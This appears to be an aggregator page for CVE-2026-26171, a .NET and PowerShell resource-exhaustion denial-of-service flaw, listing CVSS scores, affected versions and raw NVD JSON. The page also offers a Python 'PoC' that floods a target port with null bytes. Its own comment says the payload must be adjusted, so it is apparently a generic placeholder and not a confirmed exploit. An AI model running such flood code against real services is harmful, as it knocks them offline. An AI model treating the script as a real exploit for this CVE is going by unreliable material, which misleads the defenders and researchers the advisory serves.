Security Vulnerability Report
中文
CVE-2026-26171 CVSS 7.5 HIGH

CVE-2026-26171

Published: 2026-04-14 18:16:52
Last Modified: 2026-05-07 19:42:59

Description

Uncontrolled resource consumption in .NET allows an unauthorized attacker to deny service over a network.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:.net:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:a:microsoft:.net:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:a:microsoft:.net:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:a:microsoft:powershell:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:microsoft:powershell:*:*:*:*:*:*:*:* - VULNERABLE
Microsoft .NET (具体受影响版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import sys # Target configuration TARGET_HOST = '192.168.1.10' TARGET_PORT = 8080 # Payload designed to trigger the resource consumption # Note: Adjust the payload pattern based on specific vulnerability trigger PAYLOAD = b'\x00' * 10000 + b'\r\n' def send_malicious_request(): try: print(f"[+] Connecting to {TARGET_HOST}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_HOST, TARGET_PORT)) print("[+] Sending malicious payload to exhaust resources...") # Send payload in a loop to simulate resource exhaustion for i in range(1000): s.send(PAYLOAD) # Uncomment to introduce delay if specific timing is required # import time # time.sleep(0.01) print("[+] Payload sent. Check target service availability.") s.close() except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == '__main__': send_malicious_request()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-26171", "sourceIdentifier": "[email protected]", "published": "2026-04-14T18:16:51.577", "lastModified": "2026-05-07T19:42:58.813", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Uncontrolled resource consumption in .NET allows an unauthorized attacker to deny service over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}, {"lang": "en", "value": "CWE-611"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:.net:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.0", "versionEndExcluding": "10.0.6", "matchCriteriaId": "CD89D801-933E-4D78-9187-D2CA94370FA0"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:.net:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.0.26", "matchCriteriaId": "CB15ABFB-047C-4B69-BD19-68D3EFEDCB78"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:.net:*:*:*:*:*:*:*:*", "versionStartIncluding": "9.0.0", "versionEndExcluding": "9.0.15", "matchCriteriaId": "EB2D66A6-4F92-4AB0-A8F0-FCE4EC0BED1A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:powershell:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.5", "versionEndExcluding": "7.5.6", "matchCriteriaId": "2338A6B8-E136-4372-BB09-1721FCA0EE84"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:powershell:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.6", "versionEndExcluding": "7.6.1", "matchCriteriaId": "1B1F4EB9-7DC0-476E-992E-595E98AC8B5F"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26171", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}